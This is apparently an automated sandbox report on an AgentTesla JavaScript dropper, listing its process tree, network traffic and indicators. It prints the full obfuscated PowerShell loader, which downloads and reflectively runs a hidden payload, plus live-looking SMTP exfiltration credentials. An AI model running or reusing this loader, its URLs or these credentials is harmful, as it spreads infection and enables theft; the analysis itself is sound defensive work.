Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    123s
  • max time network
    203s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/01/2025, 06:23 UTC

General

  • Target

    20250120.js

  • Size

    155KB

  • MD5

    fe92c7ee393a2c87ccb3034c9ce18b14

  • SHA1

    8d2c9d5a5c985fb4feb466be1a4752d67042f4b7

  • SHA256

    85f2eb1ab28147d1353a0dbcc5592dcd955e6560e7a33015a303717c4b588d72

  • SHA512

    1adc6de119ce2090ce0752ece5d23e84dfa77e7ebe4505f7b4c5ef206808962b623d527cc888f2028e585f83d7261c7aec4241b90912c2e070eea38791c99ad4

  • SSDEEP

    768:loXxTexWHGJUY61tqTo7RkIwZnBN09oavEug4zdv9PCX9p6FHs5+hAQCx8PkYWXb:QTr8tIInBNKduYM5lOPTWf67ZqGxiZA0

Malware Config

Extracted

Language
ps1
Source
1
if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };
URLs
ps1.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

exe.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.ctdi.com.ph
  • Port:
    587
  • Username:
    biz@ctdi.com.ph
  • Password:
    A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

  • Protocol:
    smtp
  • Host:
    mail.ctdi.com.ph
  • Port:
    587
  • Username:
    biz@ctdi.com.ph
  • Password:
    A#f+Y]H8iO4a
  • Email To:
    ctdi.employees@ctdi.com.ph

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\20250120.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3420
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1052

Network

  • flag-us
    DNS
    ia600805.us.archive.org
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    ia600805.us.archive.org
    IN A
    Response
    ia600805.us.archive.org
    IN A
    207.241.227.155
  • flag-us
    GET
    https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg
    powershell.exe
    Remote address:
    207.241.227.155:443
    Request
    GET /10/items/new_image_202501/new_image.jpg HTTP/1.1
    Host: ia600805.us.archive.org
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Server: nginx/1.24.0
    Date: Mon, 20 Jan 2025 06:23:19 GMT
    Content-Type: image/jpeg
    Content-Length: 2759301
    Last-Modified: Tue, 14 Jan 2025 14:24:50 GMT
    Connection: keep-alive
    ETag: "678673b2-2a1a85"
    Strict-Transport-Security: max-age=15724800
    Expires: Mon, 20 Jan 2025 12:23:19 GMT
    Cache-Control: max-age=21600
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With
    Access-Control-Allow-Credentials: true
    Accept-Ranges: bytes
  • flag-us
    DNS
    232.168.11.51.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    232.168.11.51.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    155.227.241.207.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    155.227.241.207.in-addr.arpa
    IN PTR
    Response
    155.227.241.207.in-addr.arpa
    IN PTR
    ia600805usarchiveorg
  • flag-us
    DNS
    133.32.126.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.32.126.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    244.160.67.23.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    244.160.67.23.in-addr.arpa
    IN PTR
    Response
    244.160.67.23.in-addr.arpa
    IN PTR
    a23-67-160-244deploystaticakamaitechnologiescom
  • flag-us
    DNS
    196.249.167.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    196.249.167.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    lindenappliances.co.za
    powershell.exe
    Remote address:
    8.8.8.8:53
    Request
    lindenappliances.co.za
    IN A
    Response
    lindenappliances.co.za
    IN A
    102.219.84.131
  • flag-za
    GET
    https://lindenappliances.co.za/adanne.txt
    powershell.exe
    Remote address:
    102.219.84.131:443
    Request
    GET /adanne.txt HTTP/1.1
    Host: lindenappliances.co.za
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Mon, 20 Jan 2025 06:23:35 GMT
    Server: Apache
    Upgrade: h2,h2c
    Connection: Upgrade, Keep-Alive
    Last-Modified: Sun, 19 Jan 2025 20:43:13 GMT
    Accept-Ranges: bytes
    Content-Length: 327000
    Keep-Alive: timeout=5, max=100
    Content-Type: text/plain
  • flag-us
    DNS
    133.211.185.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    133.211.185.52.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    131.84.219.102.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    131.84.219.102.in-addr.arpa
    IN PTR
    Response
    131.84.219.102.in-addr.arpa
    IN PTR
    zacp110webwayhost
  • flag-us
    DNS
    ip-api.com
    MSBuild.exe
    Remote address:
    8.8.8.8:53
    Request
    ip-api.com
    IN A
    Response
    ip-api.com
    IN A
    208.95.112.1
  • flag-us
    GET
    http://ip-api.com/line/?fields=hosting
    MSBuild.exe
    Remote address:
    208.95.112.1:80
    Request
    GET /line/?fields=hosting HTTP/1.1
    Host: ip-api.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Mon, 20 Jan 2025 06:23:38 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 6
    Access-Control-Allow-Origin: *
    X-Ttl: 60
    X-Rl: 44
  • flag-us
    DNS
    1.112.95.208.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.112.95.208.in-addr.arpa
    IN PTR
    Response
    1.112.95.208.in-addr.arpa
    IN PTR
    ip-apicom
  • flag-us
    DNS
    mail.ctdi.com.ph
    MSBuild.exe
    Remote address:
    8.8.8.8:53
    Request
    mail.ctdi.com.ph
    IN A
    Response
    mail.ctdi.com.ph
    IN CNAME
    ctdi.com.ph
    ctdi.com.ph
    IN A
    182.18.209.194
  • flag-us
    DNS
    mail.ctdi.com.ph
    MSBuild.exe
    Remote address:
    8.8.8.8:53
    Request
    mail.ctdi.com.ph
    IN A
    Response
    mail.ctdi.com.ph
    IN CNAME
    ctdi.com.ph
    ctdi.com.ph
    IN A
    182.18.209.194
  • flag-us
    DNS
    194.209.18.182.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    194.209.18.182.in-addr.arpa
    IN PTR
    Response
    194.209.18.182.in-addr.arpa
    IN PTR
    skyskybbph
  • flag-us
    DNS
    56.163.245.4.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    56.163.245.4.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    241.42.69.40.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    241.42.69.40.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    22.49.80.91.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    22.49.80.91.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    29.243.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    29.243.111.52.in-addr.arpa
    IN PTR
    Response
  • 207.241.227.155:443
    https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg
    tls, http
    powershell.exe
    62.5kB
    2.9MB
    1265
    2050

    HTTP Request

    GET https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg

    HTTP Response

    200
  • 102.219.84.131:443
    https://lindenappliances.co.za/adanne.txt
    tls, http
    powershell.exe
    6.3kB
    341.7kB
    129
    249

    HTTP Request

    GET https://lindenappliances.co.za/adanne.txt

    HTTP Response

    200
  • 208.95.112.1:80
    http://ip-api.com/line/?fields=hosting
    http
    MSBuild.exe
    356 B
    347 B
    6
    4

    HTTP Request

    GET http://ip-api.com/line/?fields=hosting

    HTTP Response

    200
  • 182.18.209.194:587
    mail.ctdi.com.ph
    smtp-submission
    MSBuild.exe
    2.1kB
    4.9kB
    20
    22
  • 8.8.8.8:53
    ia600805.us.archive.org
    dns
    powershell.exe
    69 B
    85 B
    1
    1

    DNS Request

    ia600805.us.archive.org

    DNS Response

    207.241.227.155

  • 8.8.8.8:53
    232.168.11.51.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    232.168.11.51.in-addr.arpa

  • 8.8.8.8:53
    155.227.241.207.in-addr.arpa
    dns
    74 B
    111 B
    1
    1

    DNS Request

    155.227.241.207.in-addr.arpa

  • 8.8.8.8:53
    133.32.126.40.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    133.32.126.40.in-addr.arpa

  • 8.8.8.8:53
    244.160.67.23.in-addr.arpa
    dns
    72 B
    137 B
    1
    1

    DNS Request

    244.160.67.23.in-addr.arpa

  • 8.8.8.8:53
    196.249.167.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    196.249.167.52.in-addr.arpa

  • 8.8.8.8:53
    lindenappliances.co.za
    dns
    powershell.exe
    68 B
    84 B
    1
    1

    DNS Request

    lindenappliances.co.za

    DNS Response

    102.219.84.131

  • 8.8.8.8:53
    133.211.185.52.in-addr.arpa
    dns
    73 B
    147 B
    1
    1

    DNS Request

    133.211.185.52.in-addr.arpa

  • 8.8.8.8:53
    131.84.219.102.in-addr.arpa
    dns
    73 B
    106 B
    1
    1

    DNS Request

    131.84.219.102.in-addr.arpa

  • 8.8.8.8:53
    ip-api.com
    dns
    MSBuild.exe
    56 B
    72 B
    1
    1

    DNS Request

    ip-api.com

    DNS Response

    208.95.112.1

  • 8.8.8.8:53
    1.112.95.208.in-addr.arpa
    dns
    71 B
    95 B
    1
    1

    DNS Request

    1.112.95.208.in-addr.arpa

  • 8.8.8.8:53
    mail.ctdi.com.ph
    dns
    MSBuild.exe
    124 B
    184 B
    2
    2

    DNS Request

    mail.ctdi.com.ph

    DNS Request

    mail.ctdi.com.ph

    DNS Response

    182.18.209.194

    DNS Response

    182.18.209.194

  • 8.8.8.8:53
    194.209.18.182.in-addr.arpa
    dns
    73 B
    99 B
    1
    1

    DNS Request

    194.209.18.182.in-addr.arpa

  • 8.8.8.8:53
    56.163.245.4.in-addr.arpa
    dns
    71 B
    157 B
    1
    1

    DNS Request

    56.163.245.4.in-addr.arpa

  • 8.8.8.8:53
    22.49.80.91.in-addr.arpa
    dns
    70 B
    145 B
    1
    1

    DNS Request

    22.49.80.91.in-addr.arpa

  • 8.8.8.8:53
    241.42.69.40.in-addr.arpa
    dns
    71 B
    145 B
    1
    1

    DNS Request

    241.42.69.40.in-addr.arpa

  • 8.8.8.8:53
    29.243.111.52.in-addr.arpa
    dns
    72 B
    158 B
    1
    1

    DNS Request

    29.243.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4r4vtsh.e4d.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1052-19-0x0000000000400000-0x0000000000442000-memory.dmp

    Filesize

    264KB

  • memory/1052-28-0x0000000006BB0000-0x0000000006BBA000-memory.dmp

    Filesize

    40KB

  • memory/1052-27-0x0000000006BE0000-0x0000000006C72000-memory.dmp

    Filesize

    584KB

  • memory/1052-26-0x00000000069A0000-0x0000000006A3C000-memory.dmp

    Filesize

    624KB

  • memory/1052-25-0x00000000068B0000-0x0000000006900000-memory.dmp

    Filesize

    320KB

  • memory/1052-24-0x0000000005470000-0x00000000054D6000-memory.dmp

    Filesize

    408KB

  • memory/1052-23-0x0000000005850000-0x0000000005DF4000-memory.dmp

    Filesize

    5.6MB

  • memory/3420-13-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-18-0x0000023CA03C0000-0x0000023CA03CC000-memory.dmp

    Filesize

    48KB

  • memory/3420-17-0x0000023CF7D20000-0x0000023CF7EDA000-memory.dmp

    Filesize

    1.7MB

  • memory/3420-22-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-16-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-14-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

    Filesize

    8KB

  • memory/3420-15-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-1-0x00007FFEFB173000-0x00007FFEFB175000-memory.dmp

    Filesize

    8KB

  • memory/3420-12-0x00007FFEFB170000-0x00007FFEFBC31000-memory.dmp

    Filesize

    10.8MB

  • memory/3420-7-0x0000023CF6F60000-0x0000023CF6F82000-memory.dmp

    Filesize

    136KB

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